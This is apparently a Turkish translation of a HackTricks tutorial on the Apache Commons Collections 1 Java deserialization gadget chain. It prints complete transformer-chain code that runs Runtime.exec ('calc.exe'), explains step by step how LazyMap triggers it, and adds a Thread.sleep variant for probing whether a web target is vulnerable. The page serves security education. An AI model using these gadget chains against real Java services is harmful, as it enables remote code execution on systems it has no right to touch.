CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep

HackTricks'i Destekleyin

Java Transformers to Rutime exec()

Birçok yerde, aşağıdaki gibi Apache common collections'tan transformer'lar kullanan bir java deserialization payload'u bulabilirsiniz:

import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1PayloadOnly {
public static void main(String... args) {
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), //(1)
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
), //(2)
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
), //(3)
new InvokerTransformer("exec",
new Class[]{String.class},
command
) //(4)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

//Execute gadgets
lazyMap.get("anything");
}
}

Eğer java deserialization payload'ları hakkında hiçbir şey bilmiyorsanız, bu kodun neden bir calc çalıştıracağını anlamak zor olabilir.

Öncelikle, Java'daki Transformer'ın bir sınıfı alan ve onu farklı birine dönüştüren bir şey olduğunu bilmeniz gerekiyor. Ayrıca burada çalıştırılan payload'ın eşdeğer olduğunu bilmek de ilginç:

Runtime.getRuntime().exec(new String[]{"calc.exe"});

Ya da daha kesin olarak, sonunda çalıştırılacak olan:

((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

Nasıl

Peki, ilk yükün sunumu bu "basit" tek satırlara nasıl eşdeğerdir?

Öncelikle, yükte bir dönüşüm zinciri (dizi) oluşturulduğunu görebilirsiniz:

String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
//(1) - Get gadget Class (from Runtime class)
new ConstantTransformer(Runtime.class),

//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),

//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime oject
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),

//(4) - Use the Runtime object to call exec with arbitrary commands
new InvokerTransformer("exec",
new Class[]{String.class},
command
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Eğer kodu okursanız, dizinin dönüşümünü bir şekilde zincirleyebilirseniz, rastgele komutlar çalıştırabileceğinizi fark edeceksiniz.

Yani, bu dönüşümler nasıl zincirleniyor?

Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
lazyMap.get("anything");

Son bölümde bir Map nesnesi oluşturuluyor. Ardından, LazyMap'ten decorate fonksiyonu, harita nesnesi ve zincirlenmiş dönüştürücüler ile çalıştırılıyor. Aşağıdaki koddan, bunun zincirlenmiş dönüştürücülerin lazyMap.factory niteliğine kopyalanmasına neden olacağını görebilirsiniz:

protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}

Ve sonra büyük final gerçekleştirilir: lazyMap.get("anything");

Bu, get fonksiyonunun kodudur:

public Object get(Object key) {
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

Ve bu, transform fonksiyonunun kodudur.

public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

Yani, factory içinde chainedTransformer'ı kaydettiğimizi ve transform fonksiyonu içinde tüm bu zincirlenmiş dönüştürücülerden geçerek birbiri ardına çalıştırdığımızı unutmayın. Komik olan şey, her dönüştürücünün object olarak girdi alması ve object'in son çalıştırılan dönüştürücünün çıktısı olmasıdır. Bu nedenle, tüm dönüşümler kötü niyetli yükü zincirleme olarak çalıştırıyor.

Özet

Sonunda, lazyMap'in zincirlenmiş dönüştürücüleri get metodunun içinde nasıl yönettiği nedeniyle, sanki aşağıdaki kodu çalıştırıyormuşuz gibi.

Object value = "someting";

value = new ConstantTransformer(Runtime.class).transform(value); //(1)

value = new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", null}
).transform(value); //(2)

value = new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
).transform(value); //(3)

value = new InvokerTransformer("exec",
new Class[]{String.class},
command
).transform(value); //(4)

Not edin ki value, her bir dönüşümün girişi ve önceki dönüşümün çıktısıdır, bu da bir satırlık kodun çalıştırılmasına olanak tanır:

((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

Not edin ki burada ComonsCollections1 yükü için kullanılan gadget'lar açıklandı. Ama tüm bunların nasıl çalışmaya başladığı bırakıldı. Bunu görmek için buraya bakabilirsiniz ki ysoserial, bu yükü çalıştırmak için bir AnnotationInvocationHandler nesnesi kullanır çünkü bu nesne serileştirildiğinde, payload.get() fonksiyonunu çağıracak ve bu da tüm yükü çalıştıracaktır.

Java Thread Sleep

Bu yük, web'in savunmasız olup olmadığını belirlemek için kullanışlı olabilir çünkü eğer savunmasızsa bir uyku çalıştıracaktır.

import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1Sleep {
public static void main(String... args) {
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Thread.class),
new InvokerTransformer("getMethod",
new Class[]{
String.class, Class[].class
},
new Object[]{
"sleep", new Class[]{Long.TYPE}
}),
new InvokerTransformer("invoke",
new Class[]{
Object.class, Object[].class
}, new Object[]
{
null, new Object[] {7000L}
}),
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

//Execute gadgets
lazyMap.get("anything");

}
}

Daha Fazla Gadget

Daha fazla gadget burada bulabilirsiniz: https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html

HackTricks'i Destekleyin

Last updated